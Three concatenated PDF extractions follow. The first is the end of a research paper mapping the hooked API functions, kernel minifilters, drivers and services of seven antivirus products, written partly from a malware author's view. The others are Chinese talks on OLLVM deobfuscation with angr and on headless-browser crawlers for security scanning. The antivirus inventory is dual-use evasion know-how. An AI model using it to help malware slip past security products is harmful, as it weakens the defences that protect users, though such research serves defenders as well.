NtOpenThread NtQueueApcThreadEx NtRequestPort NtSecureConnectPort NtSetContextThread NtShutdownSystem NtSystemDebugControl CsrClientCallServer 20 Antivirus Artifacts III URLMON.DLL URLDownloadToFileW URLDownloadToFileA N/A WININET.DLL InternetOpenA InternetCloseHandle InternetOpenUrlA GDI32.DLL BitBlt TextOutW N/A KERNEL32.DLL GetTickCount N/A N/A RPCRT4.DLL RpcSend RpcSendReceive NdrSendReceive Minifilters Present: Driver Altitude Type WRCore.x64.sys 320110 FSFilter Anti-Virus WRKrn.sys 320111 FSFilter Anti-Virus Antivirus Driver Request WRCore.x64.sys IRP_MJ_CREATE WRCore.x64.sys IRP_MJ_WRITE WRkrn.sys IRP_MJ_CREATE WRkrn.sys IRP_MJ_CLEANUP WRkrn.sys IRP_MJ_WRITE WRkrn.sys IRP_MJ_SET_INFORMATION 21 Antivirus Artifacts III Services: Name Description Startup Type Path WRSVC WRSVC Automatic Webroot\WRSA.exe WRSkyClient WRSkyClient Automatic Webroot\Core\WRSk yClient.exe WRCoreService WRCoreService Automatic Webroot\Core\WRC oreService.exe 22 Antivirus Artifacts III BitDefender Parent Directory C:\Program Files\Bitdefender Antivirus Free\ Binaries present: Name Description Path atc.sys BitDefender Active Threat Controller C:\Windows\System32\Drivers\ gemma.sys BitDefender Generic Exploit Mitigation C:\Windows\System32\Drivers\ fvevol.sys BitDefender Drive Encryption Driver C:\Windows\System32\Drivers\ bdredline.exe BitDefender redline update \ vsserv.exe BitDefender Security Service \ vsservppl.exe BitDefender Correlation Service \ updatesrv.exe BitDefender Update Service \ bdagent.exe BitDefender bdagent.exe \ In-memory modules present: Name Description Path bdhkm64.dll BitDefender Hooking DLL bdkdm\%ld\ atcuf64.dll BitDefender Active Threat Controller atcuf\%ld\ 23 Antivirus Artifacts III Functions Hooked: KERNELBASE.DLL DefineDosDeviceW CreateProcessW CreateProcessA CreateProcessInternalA CreateProcessInternalW PeekConsoleInputW CloseHandle DeleteFileW OpenThread CreateRemoteThreadEx GetProcAddress MoveFileWithProgressW MoveFileExW GetModuleBaseNameW GetModuleInformation GetModuleFileNameExW EnumProcessModules SetEnvironmentVariableW EnumDeviceDrivers SetEnvironmentVariableA QueueUserAPC GetLogicalProcessorInformationEx LoadLibraryA LoadLibraryW GetLogicalProcessorInformation GetApplicationRecoveryCallback EnumProcessModulesEx PeekConsoleInputA ReadConsoleInputA ReadConsoleInputW GenerateConsoleCtrlEvent ReadConsoleA ReadConsoleW CreateRemoteThread N/A N/A COMBASE.DLL CoCreateInstance CoGetClassObject N/A KERNEl32.DLL Process32NextW CreateToolhelp32Snapshot MoveFileExA MoveFileWithProgressA DefineDosDeviceA N/A GDI32.DLL CreateDCW BitBlt CreateCompatibleDC CreateBitmap CreateDCA CreateCompatibleBitmap 24 Antivirus Artifacts III USER32.DLL SetWindowsHookExW CallNextHookEx FindWindowExA SendMessageA PeekMessageA PeekMessageW GetDesktopWindow SendMessageW SetWindowLongW GetKeyState PostMessageW EnumDesktopWindows EnumWindows GetMessageW SystemParametersInfoW FindWindowW GetAsyncKeyState SetPropW FindWindowExW GetDC GetMessageA SystemParametersInfoA SendNotifyMessageW SetWinEventHook PostMessageA UnhookWindowsHookEx GetClipboardData SetWindowLongA SetClipboardData SendNotifyMessageA GetDCEx GetKeyboardState GetRawInputData GetWindowDC RegisterRawInputDevices SetWindowsHookExA FindWindowA SetPropA N/A NTDLL.DLL RtlImageNtHeaderEx NtSetInformationThread NtClose NtOpenProcess NtMapViewOfSection NtUnmapViewOfSection NtTerminateProcess NtWriteVirtualMemory NtDuplicateObject NtReadVirtualMemory NtAdjustPrivilegesToken NtQueueApcThread NtCreateProcessEx NtCreateThread NtResumeThread NtAlpcConnectPort NtAlpcCreatePort NtAlpcSendWaitReceivePort NtCreateProcess NtCreateThreadEx NtCreateUserProcess NtQuerySystemEnvironmentValueEx NtRaiseHardError NtSetContextThread NtSetSystemEnvironmentValueEx RtlWow64SetThreadContext RtlReportException 25 Antivirus Artifacts III Minifilters Present: Driver Altitude Type vlflt.sys 320832 FSFilter Anti-Virus gemma.sys 320782 FSFilter Anti-Virus Atc.sys 320781 FSFilter Anti-Virus TRUFOS.SYS 320770 FSFilter Anti-Virus Antivirus Driver Request vlflt.sys IRP_MJ_CREATE vlflt.sys IRP_MJ_CLEANUP vlflt.sys IRP_MJ_SET_INFORMATION vlflt.sys IRP_MJ_WRITE vlflt.sys IRP_MJ_FILE_SYSTEM_CONTROL vlflt.sys IRP_MJ_VOLUME_MOUNT vlflt.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION vlflt.sys IRP_MJ_DIRECTORY_CONTROL gemma.sys IRP_MJ_CREATE gemma.sys IRP_MJ_CLEANUP gemma.sys IRP_MJ_SET_INFORMATION gemma.sys IRP_MJ_WRITE gemma.sys IRP_MJ_READ gemma.sys IRP_MJ_QUERY_INFORMATION 26 Antivirus Artifacts III Antivirus Driver Request atc.sys IRP_MJ_CREATE atc.sys IRP_MJ_WRITE atc.sys IRP_MJ_CLEANUP atc.sys IRP_MJ_READ atc.sys IRP_MJ_SET_INFORMATION atc.sys IRP_MJ_QUERY_INFORMATION atc.sys IRP_MJ_DIRECTORY_CONTROL atc.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION atc.sys IRP_MJ_QUERY_EA atc.sys IRP_MJ_SET_EA atc.sys IRP_MJ_FILE_SYSTEM_CONTROL atc.sys IRP_MJ_CREATE_NAMED_PIPE atc.sys IRP_MJ_PNP TRUFOS.SYS IRP_MJ_CREATE TRUFOS.SYS IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION Services: Name Description Startup Type Path ProductAgentService Bitdefender Product Agent Service Automatic ProductAgentService.exe vsserv Bitdefender Security Service Automatic vsserv.exe vsservppl Bitdefender Correlation Service Automatic vsservppl.exe updatesrv Bitdefender Update Service Automatic updatesrv.exe 27 Antivirus Artifacts III MalwareBytes Parent Directory C:\Program Files\MalwareBytes\ Binaries present: Name Description Sub directory mwac.sys Malwarebytes Web Protection C:\Windows\System32\Drivers\ mbamswissarmy.sys Malwarebytes SwissArmy C:\Windows\System32\Drivers\ mbam.sys Malwarebytes Real-Time Protection C:\Windows\System32\Drivers\ MbamChameleon.sys Malwarebytes Chameleon C:\Windows\System32\Drivers\ farflt.sys Malwarebytes Anti-Ransomware Protection C:\Windows\System32\Drivers\ mbae64.sys Malwarebytes Anti-Exploit C:\Windows\System32\Drivers\ MBAMService.exe Malwarebytes Service Anti-Malware mbamtray.exe Malwarebytes Tray Application Anti-Malware mbam.exe Malwarebytes Anti-Malware In-memory modules present: Name Description Sub Directory mbae.dll MalwareBytes Anti-exploit AntiMalware Functions Hooked: MSCVRT.DLL _wsystem system N/A WSA_32.DLL WSAStartup N/A N/A SHELL32.DLL ShellExecuteW ShellExecuteExW N/A 28 Antivirus Artifacts III NTDLL.DLL ResolveDelayLoadedAPI GetDllHandle CreateProcessInternalW NtAllocateVirtualMemory NtProtectVirtualMemory N/A KERNELBASE.DLL VirtualAllocEx CreateProcessW CreateProcessInternalW GetModuleHandleW CreateFileW LoadLibraryExW VirtualProtect HeapCreate VirtualAlloc WriteProcessMemory CreateFileA VirtualProtectEx CreateProcessA CreateProcessInternalA N/A URLMON.DLL URLDownloadToFileW URLDownloadToCacheFileA URLDownloadToCacheFileW URLDownloadToFileA URLOpenBlockingStreamA URLOpenBlockingStreamW URLOpenStreamA URLOpenStreamW N/A WININET.DLL InternetReadFile InternetReadFileExW HttpOpenRequestW HttpSendRequestW HttpSendRequestExW HttpSendRequestA HttpSendRequestExA InternetOpenUrlA InternetOpenUrlW HttpOpenRequestA N/A N/A KERNEL32.DLL SetProcessDEPPolicy CopyFileA MoveFileA MoveFileW CopyFileW WinExec 29 Antivirus Artifacts III Minifilters Present: Driver Altitude Type mbam.sys 328800 FSFilter Anti-Virus mbamwatchdog.sys 400900 FSFilter Top farwflt.sys 268150 FSFilter Activity Monitor Antivirus Driver Request mbamwatchdog.sys IRP_MJ_CREATE mbamwatchdog.sys IRP_MJ_SET_INFORMATION mbamwatchdog.sys IRP_MJ_SET_SECURITY mbam.sys IRP_MJ_CREATE mbam.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION Web Traffic: Protocol Remote Address Local Port Remote Port TCP 13.226.202.2 50364 443 30 Antivirus Artifacts III Adaware Parent Directory C:\Program Files(x86)\adaware\adaware antivirus Binaries present: Name Description Sub directory AdawareDesktop.exe Adaware Desktop \adaware antivirus\12.10.111.0 AdawareTray.exe Adaware Tray \adaware antivirus\12.10.111.0 AdawareService.exe Adaware service \adaware antivirus\12.10.111.0 atc.sys BitDefender Active Threat Control Filesystem Minifilter C:\Windows\System32\Drivers\ gzflt.sys Bit Defender Gonzales Filesystem Driver C:\Windows\System32\Drivers\ In-memory modules present: Name Description Path N/A N/A N/A Functions Hooked: N/A N/A N/A Minifilters Present: Driver Altitude Type gzflt.sys 320820 FSFilter Anti-Virus Atc.sys 320781 FSFilter Anti-Virus TRUFOS.SYS 320770 FSFilter Anti-Virus 31 Antivirus Artifacts III Antivirus Driver Request TRUFOS.SYS IRP_MJ_CREATE TRUFOS.SYS IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION gzflt.sys IRP_MJ_CREATE gzflt.sys IRP_MJ_CLEANUP gzflt.sys IRP_MJ_SET_INFORMATION gzflt.sys IRP_MJ_WRITE gzflt.sys IRP_MJ_FILE_SYSTEM_CONTROL gzflt.sys IRP_MJ_VOLUME_MOUNT gzflt.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION atc.sys IRP_MJ_CREATE atc.sys IRP_MJ_WRITE atc.sys IRP_MJ_CLEANUP atc.sys IRP_MJ_READ atc.sys IRP_MJ_SET_INFORMATION atc.sys IRP_MJ_QUERY_INFORMATION atc.sys IRP_MJ_DIRECTORY_CONTROL atc.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION atc.sys IRP_MJ_QUERY_EA atc.sys IRP_MJ_SET_EA atc.sys IRP_MJ_FILE_SYSTEM_CONTROL Services: Name Description Startup Type Path Adaware antivirus service Helps protect users from Malware & other potentially unwanted software Automatic adaware antivirus\%ld\AdAwareServ ice.exe 32 Antivirus Artifacts III Avast Parent Directory C:\Program Files\AvastSoftware\Avast Binaries present: Name Description Sub directory aswArPot.sys Avast Anti Rootkit C:\Windows\System32\Drivers\ aswbidsdriver.sys Avast IDS Application Activity Monitor Driver. C:\Windows\System32\Drivers\ aswbidsh.sys Avast Application Activity Monitor Helper Driver C:\Windows\System32\Drivers\ aswbuniv.sys Avast Universal Driver C:\Windows\System32\Drivers\ aswKbd.sys Avast Keyboard Filter Driver C:\Windows\System32\Drivers\ aswMonFlt.sys Avast File System Filter C:\Windows\System32\Drivers\ aswNetHub.sys Avast Network Security Driver C:\Windows\System32\Drivers\ aswRdr2.sys Avast Antivirus C:\Windows\System32\Drivers\ aswSnx.sys Avast Antivirus C:\Windows\System32\Drivers\ aswSP.sys Avast Self Protection C:\Windows\System32\Drivers\ aswStm.sys Avast Stream Filter C:\Windows\System32\Drivers\ aswVmm.sys Avast VM Monitor C:\Windows\System32\Drivers\ wsc_proxy.exe Avast Remediation exe / AvastSvc.exe Avast Service / aswEngSrv.exe Avast Antivirus engine server / aswToolsSvc.exe Avast Antivirus / aswidsagent.exe Avast Software Analyzer / AvastUI.exe Avast Antivirus / 33 Antivirus Artifacts III In-memory modules present: Name Description Sub Directory awshook.dll Avast Hook Library /x86 ashShell.dll Avast Shell Extension / Functions Hooked: ADVAPI32.DLL CryptImportKey LogonUserW CryptGenKey CryptDuplicateKey LogonUserA LogonUserExA LogonUserExW N/A N/A USER32.DLL GetClipboardData SetWindowsHookExA SetWindowsHookExW NTDLL.DLL RtlQueryEnvironmentVariable LdrLoadDll NtQueryInformationProcess NtMapViewOfSection NtTerminateProcess NtOpenSection NtWriteVirtualMemory NtOpenEvent NtCreateEvent NtCreateSection NtProtectVirtualMemory NtResumeThread NtCreateMutant NtCreateSemaphore NtCreateUserProcess NtOpenMutant NtOpenSemaphore NtOpenThread NtSuspendProcess RtlDecompressBuffer N/A Minifilters Present: Driver Altitude Type aswSP.sys 388401 FSFilter Activity Monitor aswMonFlt.sys 320700 FSFilter Anti-Virus aswSnx.sys 137600 FSFilter Virtualization 34 Antivirus Artifacts III Antivirus Driver Request aswSP.sys IRP_MJ_CREATE aswSP.sys IRP_MJ_CREATE_NAMED_PIPE aswSP.sys IRP_MJ_SET_INFORMATION aswSP.sys IRP_MJ_FILE_SYSTEM_CONTROL aswSP.sys IRP_MJ_LOCK_CONTROL aswSP.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION aswSP.sys IRP_MJ_SET_SECURITY aswSP.sys IRP_MJ_WRITE aswSP.sys IRP_MJ_CLOSE aswMonFlt.sys IRP_MJ_CREATE aswMonFlt.sys IRP_MJ_WRITE aswMonFlt.sys IRP_MJ_CLEANUP aswMonFlt.sys IRP_MJ_CLOSE aswMonFlt.sys IRP_MJ_SET_INFORMATION aswMonFlt.sys IRP_MJ_SET_SECURITY aswMonFlt.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION aswMonFlt.sys IRP_MJ_FILE_SYSTEM_CONTROL aswSnx.sys IRP_MJ_CREATE aswSnx.sys IRP_MJ_NETWORK_QUERY_OPEN aswSnx.sys IRP_MJ_WRITE aswSnx.sys IRP_MJ_DIRECTORY_CONTROL aswSnx.sys IRP_MJ_CLEANUP aswSnx.sys IRP_MJ_QUERY_INFORMATION aswSnx.sys IRP_MJ_SET_INFORMATION aswSnx.sys IRP_MJ_FILE_SYSTEM_CONTROL aswSnx.sys IRP_MJ_QUERY_VOLUME_INFORMATION 35 Antivirus Artifacts III Web Traffic: Protocol Remote Address Local Port Remote Port TCP 5.45.59.36 51910 80 TCP 5.62.54.29 51911 80 TCP 5.62.53.230 52459 443 TCP 5.62.53.230 52460 443 TCP 5.62.53.212 52461 443 TCP 5.62.53.212 52462 443 [continued below] 36 Antivirus Artifacts III Services: Name Description Startup Type Path Avast Antivirus Manages & implements Avast Antivirus services for this computer. This includes real time shields , the virus chest & the scheduler. Automatic \AvastSvc.exe Avast Browser Update Service Keep your avast software upto date. Automatic C:\Program Files (x86)\AVAST Software\Browser\Update\ AvastBrowserUpdate.exe /svc Avast Browser Update Service Keeps your avast software upto date Manual C:\Program Files (x86)\AVAST Software\Browser\Update\ AvastBrowserUpdate.exe /medsvc Avast Secure Browser Elevation Service - Manual C:\Program Files (x86)\AVAST Software\Browser\Applicati on\%ld\elevation_service.e xe Avast Tools Manages & implements avast tools services for the computer Automatic C:\Program Files\Avast Software\Avast\aswToolsSv c.exe /runassvc AvastWsc Reporter - Automatic C:\Program Files\Avast Software\Avast\wsc_proxy. exe /runassvc /rpcserver 37 Antivirus Artifacts III Dr.Web Parent Directory C:\Program Files\DrWeb Binaries present: Name Description Sub directory dwdg.sys Dr.Web device Guard for Windows C:\Windows\System32\Drivers\ spiderg3.sys Dr.Web File System Monitor C:\Windows\System32\Drivers\ A4B1FF85CA.sys Dr.Web Protection for Windows C:\program files\kmspico\temp dwprot.sys Dr.Web Protection for Windows C:\Windows\System32\Drivers\ dwnetfilter.exe Dr. Web Net Filtering Service \ dwservice.exe Dr. Web Control Service \ dwantispam.exe Dr. Web Anti Spam \ dwarkdameon.exe Dr. Web Anti-Rootkit Service \ dwscanner.exe Dr. Web Scanner SE \ In-memory modules present: Name Description Sub Directory drwamsi64.dll Dr. Web AMSI / Functions Hooked: See remarks at bottom N/A N/A Minifilters Present: Driver Altitude Type spider3g.sys 323600 FSFilter Anti-Virus dwprot.sys 323610 FSFilter Anti-Virus 38 Antivirus Artifacts III Antivirus Driver Request dwdg.sys IRP_MJ_CREATE dwprot.sys IRP_MJ_CREATE dwprot.sys IRP_MJ_CLEANUP dwprot.sys IRP_MJ_CLOSE dwprot.sys IRP_MJ_READ dwprot.sys IRP_MJ_WRITE dwprot.sys IRP_MJ_SET_INFORMATION dwprot.sys IRP_MJ_DEVICE_CONTROL dwprot.sys IRP_MJ_FILE_SYSTEM_CONTROL dwprot.sys IRP_MJ_SET_EA dwprot.sys IRP_MJ_SET_SECURITY dwprot.sys IRP_MJ_SET_EA dwprot.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION spiderg3.sys IRP_MJ_CREATE spiderg3.sys IRP_MJ_FILE_SYSTEM_CONTROL spiderg3.sys IRP_MJ_WRITE spiderg3.sys IRP_MJ_CLEANUP spiderg3.sys IRP_MJ_CLOSE spiderg3.sys IRP_MJ_SET_INFORMATION spiderg3.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION spiderg3.sys IRP_MJ_RELEASE_FOR_SECTION_SYNCHRONIZATION spiderg3.sys IRP_MJ_SHUTDOWN Web Traffic: Protocol Remote Address Local Port Remote Port TCP 162.159.134.234 50183 443 39 Antivirus Artifacts III Services: Name Description Startup Type Path Dr.Web Control Service Dr.Web Control Service is an essential part of Dr.Web Anti-virus! Please do not stop and do not disable it Automatic C:\Program Files\DrWeb\dwservice.exe --logfile="C:\ProgramData\ Doctor Web\Logs\dwservice.log Dr.Web Net Filtering Service Dr.Web Net Filtering Service checks incoming and outgoing traffic. Manual "C:\Program Files\DrWeb\dwnetfilter.ex e" --ats Dr.Web Scanning Engine Dr.Web Scanning Engine checks your files against viruses. It is an essential part of the Dr.Web Anti-Virus! Please do not stop and do not disable it. Manual "C:\Program Files\Common Files\Doctor Web\Scanning Engine\dwengine.exe" Note: Dr Web hooks functions. The functions are hooked using reflective DLL loading. Process Explorer and Process Hacker do not detect the loaded / injected DLLs. Dr Web loads 3 additional DLLs including a modified NTDLL which has no header. The modified NTDLL variant is locked from a kernel-side component. I have not inspected this further. 40 Antivirus Artifacts III Kaspersky Parent Directory C:\Program Files(x86)\Kaspersky Lab Binaries present: Name Description Sub directory klupd_klif_klark.sys Kaspersky Lab Anti-Rootkit C:\Windows\System32\Drivers\ klupd_klif_mark.sys Kaspersky Lab Anti-Rootkit Memory Driver C:\Windows\System32\Drivers\ klupd_klif_arkmon.sys Kaspersky Lab Anti-Rootkit Monitor Driver C:\ProgramData\Kaspersky Lab\AVP21.2\ avp.exe Kaspersky Anti-Virus \Kaspersky Security Cloud 21.2 avpui.exe Kaspersky Anti-Virus \Kaspersky Security Cloud 21.2 kpm.exe Kaspersky Password Manager \AVP21.2\Lab ksdeui.exe Kaspersky Secure Connection \Kaspersky VPN 5.2 ksde.exe Kaspersky Secure Connection \Kaspersky VPN 5.2 kldisk.sys Virtual Disk C:\Windows\System32\Drivers\ klflt.sys Filter Core C:\Windows\System32\Drivers\ klgse.sys Security Extender C:\Windows\System32\Drivers\ klhk.sys klhk C:\Windows\System32\Drivers\ klids.sys Network Processor C:\Windows\System32\Drivers\ klif.sys Core System Interceptors C:\Windows\System32\Drivers\ klim6.sys Packet Network Filter C:\Windows\System32\Drivers\ klkbdflt2.sys Light Keyboard Device Filter C:\Windows\System32\Drivers\ klpd.sys Format Recognizer C:\Windows\System32\Drivers\ kltap.sys TAP-Windows Virtual Network Driver C:\Windows\System32\Drivers\ klupd_klif_kimul.sys Kaspersky Lab Anti-Rootkit Monitor Driver C:\Windows\System32\Drivers\ 41 Antivirus Artifacts III In-memory modules present: Name Description Sub Directory antimalware_provider.dll Kaspersky AntiMalwareProvider Component Kaspersky Total Security 21.2\x64 Functions Hooked: N/A N/A N/A Minifilters Present: Driver Altitude Type klif.sys 323600 FSFilter Anti-Virus Antivirus Driver Request klif.sys IRP_MJ_CREATE klif.sys IRP_MJ_CREATE_NAMED_PIPE klif.sys IRP_MJ_READ klif.sys IRP_MJ_WRITE klif.sys IRP_MJ_SET_INFORMATION klif.sys IRP_MJ_DIRECTORY_CONTROL klif.sys IRP_MJ_FILE_SYSTEM_CONTROL klif.sys IRP_MJ_DEVICE_CONTROL klif.sys IRP_MJ_SHUTDOWN klif.sys IRP_MJ_CLEANUP klif.sys IRP_MJ_SET_SECURITY klif.sys IRP_MJ_PNP klif.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION klif.sys IRP_MJ_VOLUME_MOUNT 42 Antivirus Artifacts III Web Traffic: Protocol Remote Address Local Port Remote Port TCP 80.239.170.149 50719 80 TCP 67.27.99.250 50800 443 TCP 67.27.99.250 50801 443 TCP 38.113.165.138 51881 443 TCP 66.110.49.116 51875 443 Services: Name Description Startup Type Path Kaspersky Anti-Virus Service 21.2 Provides computer protection against viruses and other malware, network attacks, Internet fraud and spam. Automatic "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Total Security 21.2\avp.exe" -r Kaspersky Volume Shadow Copy Service Bridge 21.2 Kaspersky Volume Shadow Copy Service Bridge Manual "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Total Security 21.2\x64\vssbridge64.exe" Kaspersky VPN Secure Connection Service 5.2 Protects confidential data that the user enters on websites (such as banking card numbers or passwords for access to online banking services) and prevents theft of funds during online transactions. Automatic "C:\Program Files (x86)\Kaspersky Lab\Kaspersky VPN 5.2\ksde.exe" -r Note: Kaspersky also contains a Standard Filter for Keyboard I/O 43 Antivirus Artifacts III Conclusion: As this series has grown we are now starting to see anti-viruses use an array of different technologies which can be difficult for malware authors to see. Although many rely on archaic hooking techniques, and hook archaic functionality from well-known malware techniques, many also come equipped with fairly robust file system minifilters to capture data which escape the hooks. This is evident because in the original entry in the Antivirus Artifacts series F-Secure was able to detect the keylogger placed on the machine despite not using any API hooks and also being unfamiliar with the malicious binaries MD5 hash. This robust minifilter system, coupled with static binary analysis implementations (something YARA rule-like), could prove to be a challenging adversary for malware authors. As a final note: in this series I was unable to test these anti-viruses against the ‘Undertaker’ malware written because after the release of Antivirus Artifacts 1 most antivirus companies had flagged the file hash as malicious. The homebrew malware proof-of-concept can be viewed on VirusTotal. Previous paper proof-of-concept IOC: 2a419d2ddf31ee89a8deda913abf1b25d45bb0dc59a93c606756cfa66acb0791 44 Antivirus Artifacts III
pdf
滴滴出行 基于符号执行的反混淆方法研究 演讲人:糜波 2019 PART 01 混淆框架简介 目录 CONTENTS PART 02 混淆技术原理 PART 03 反混淆技术原理 PART 04 后续的工作 01 02 03 04 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.01 混淆框架简介 • 混淆技术是基于OLLVM开源代码, https://github.com/obfuscator-llvm/obfuscator • 是瑞士西北应用科技大学于2010年6月份发起的一个项目,该项目旨在提供一套开源的 基于LLVM的代码混淆工具,以增加逆向工程的难度。 • LLVM是开源的编译器框架,LLVM出现也是为了替换与系统紧耦合的GCC编译器。 • LLVM分为三个独立模块,高级语言解析、中间语言(IR)处理、目标机器语言生成。三个 模块都具备可扩展性。 • 高级语言支持C/C++,OC等,目标指令支持x86、ARM、mips等,混淆是基于IR进行的扩展。 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.02 混淆技术原理 • OLLVM4.0主要支持三种混淆特性: a. 控制流平坦化 b. 虚假控制流 c. 指令替换 • 控制流平坦化(引自freebuf) • 虚假控制流(引自freebuf) • 指令替换(引自freebuf) • 混淆技术原理——虚假控制流 • 引入不透明谓词 • (y <10 || x *(x + 1)%2 == 0) • https://github.com/obfuscator-llvm/obfuscator/wiki/Bogus-Control-Flow • 混淆技术原理——指令替换 加法 a = b + c: a = b - (-c) a = -(-b + (-c)) r = rand (); a = b + r; a = a + c; a = a - r r = rand (); a = b - r; a = a + b; a = a + r 减法、与、或、异或运算: https://github.com/obfuscator-llvm/obfuscator/wiki/Instructions-Substitution • 混淆技术原理——控制流平坦化 • 有块变量(可能是堆栈或寄存器变量) • 初始化后的块变量,经过二分搜索执行块 • 当前块修改块变量,决定下一步执行哪个 块 • 原始代码中的分支,会影响块变量赋值 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.03 反混淆技术原理 • 认识符号执行引擎 • 用符号代替变量 • 模拟程序执行 • 约束求解 • 我使用的是符号执行引擎释angr https://github.com/angr/angr • 去流程平坦化思路 • 找到所有真实块 • 从序言块符号执行 • 到第一个真实块即为序言块的后继 • 再递归找这个真实块的后继 • 遇到分支进入递归执行 • 递归返回时修改分支条件继续执行 • 输出(patch汇编 or 其他) • 寻找基本块思路 Case 1 • 序言块是真实块,后继是主分发器 • 后继是主(预)分发器都是真实块 • 没有后继的是return块(也是真实块) • 寻找基本块思路 Case 2 • 两个以上主分发器 • 手工指定主分发器地址 • “人工的智能”往往最简单有效 • 寻找基本块思路 Case 3 • 真实块被优化成多个 • 在BEQ或BNE和主(预)分发器之 间的是真实块 • 为什么从函数开头符号执行 • 和块变量比较的可能不是常量 • 这些block value在序言块中初始化 • 识别原始分支 • 单纯控制流平坦化识别相对容易 • ARM 32遇到ITT指令,即可认为是是原始 分支 • 加上虚假控制流,流程变得复杂,可以考 虑使用约束求解,还在研究中…… • 输出——patch汇编or其他 • 指令空间不够 • 输出GDL文件,用wingraph打开。 • 最终效果 • 混淆代码vs还原的代码 • 最终效果 • 混淆代码vs还原的代码 CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED TITLE WORDS. PART.04 后续的工作 • GDL文件输出只是图形,不方便查找和交叉引用。 • 计划编写hex-ray的插件,修改反编译的Ctree结构。 • IDA Pro 7.2的Hex-Rays api 中microcode引入了block概念,由此可以调整block的后继。 • 另外一种输出方式--指令patch • 做指令迁移 • 这里坑比较多 • 重写SO文件 谢谢观看 演讲人:糜波
pdf
WEB 2.0 启发式爬⾍虫实战 猪猪侠 / 2018年06月16日 • 阿⾥里里云⾼高级安全专家 • ⼗十⼀一年年安全从业经历 • 信息安全领域爱好者 • ⾃自动化安全测试 • 数据挖掘 • 微博:@ringzero 关于我 为什什么我们需要⼀一个扫描器器爬⾍虫? 1 安全测试⾃自动化程度低(⼈人⼯工时代) 2 ⼤大量量的⼈人⾁肉测试重复成本投⼊入 3 被测试系统攻击⾯面被遗漏漏 4 安全测试⽤用例例被遗漏漏 5 WEB 2.0 前端框架导致复杂度增加 Angular、React、Vue 测试⼯工具使⽤用情况 BURP SUITE ⾃自研⼯工具 被动代理理扫描 ⿊黑盒漏漏扫 FUZZER 其他 21.1% 9.9% 11.8% 12.6% 15.3% 29.3% 静态链接分析:⽆无结果 BeautifulSoup4 / HTMLParser 现在业界是如何实现爬⾍虫的? 正则⼤大法⽆无解 ⽹网站特征 • Vue.js • JQuery • Handlebars • 代码混淆反爬⾍虫 • DOM 事件频繁更更新 curl http://www.seebug.org 测试⽬目标 #!/usr/bin/env,python3, #,encoding:,utf-8, import,requests, from,bs4,import,BeautifulSoup, resp,=,requests.get('https://www.seebug.org/'), soup,=,BeautifulSoup(resp.content,,'lxml'), resources,=,{, ,,,,'anchor':,(soup.find_all('a'),,'href'),, ,,,,'iframe':,(soup.find_all('iframe'),,'src'),, ,,,,'frame':,(soup.find_all('frame'),,'src'),, ,,,,'img':,(soup.find_all('img'),,'src'),, ,,,,'link':,(soup.find_all('link'),,'href'),, ,,,,'script':,(soup.find_all('script'),,'src'),, ,,,,'form':,(soup.find_all('form'),,'action'),, }, print(resources) WEB 2.0 动态爬⾍虫应运⽽而⽣生:基于⽆无界⾯面浏览器器 #!,/usr/bin/env,python3, #,encoding:,utf-8, import,asyncio, from,pyppeteer,import,launch, async,def,main():, ,,,,browser,=,await,launch(), ,,,,page,=,await,browser.newPage(), ,,,,await,page.goto('http://www.seebug.org'), ,,,,await,page.waitFor("body,>,div.footer-up"), ,,,,urls,=,await,page.evaluate('''(),=>,{, ,,,,,,,,var,urls,=,new,Array();, ,,,,,,,,var,atags,=,document.getElementsByTagName("a");, ,,,,,,,,for(var,i=0;i<atags.length;i++){, ,,,,,,,,,,,,if,(atags[i].getAttribute("href")){, ,,,,,,,,,,,,,,,,urls[i],=,atags[i].getAttribute("href"), ,,,,,,,,,,,,}, ,,,,,,,,}, ,,,,,,,,return,urls;, ,,,,}'''), ,,,,print(urls), ,,,,await,browser.close(), asyncio.get_event_loop().run_until_complete(main()) $pip3,install,pyppeteer https://github.com/miyakogi/pyppeteer Chromium puppeteer pyppeteer ⽆无界⾯面浏览器器历史 QtWebkit Ghost.py PyQt4 PhantomJS CasperJS SlimerJS Chromium Headless 浏览器器 Chrome Firefox Internet Explorer Safari Opera 渲染引擎 Blink Gecko Trident WebKit Blink JS引擎 V8 OdinMonkey Chakra JSCore Carakan • 积极⽀支持 W3C标准组织 为什什么选择 Chromium Headless HTML CSS DOM XPath JavaScript HTML 5 CSS3 DOM4 XPath 2.0 AJAX XHTML 1.0 CSS2 DOM3 XQuery 1.0 ECMAscript 5.1 HTML 4.01 CSS1 DOM Events XPath 1.0 ECMAScript 6 DOM Core • ⾕谷歌⼤大⼚厂⽀支持 市场第⼀一 ⼏几⼩小时⼀一个版本更更新 环境需求:CentOS 7 ( Google被墙) 如何安装 Chromium Headless 结合 SLB 实现微服务化 yum,install,-y,ipa-gothic-fonts,xorg-x11-fonts-100dpi,xorg-x11-fonts-75dpi,xorg-x11-utils, xorg-x11-fonts-cyrillic,xorg-x11-fonts-Type1,xorg-x11-fonts-misc,pango.x86_64, libXcomposite.x86_64,libXcursor.x86_64,libXdamage.x86_64,libXext.x86_64,libXi.x86_64, 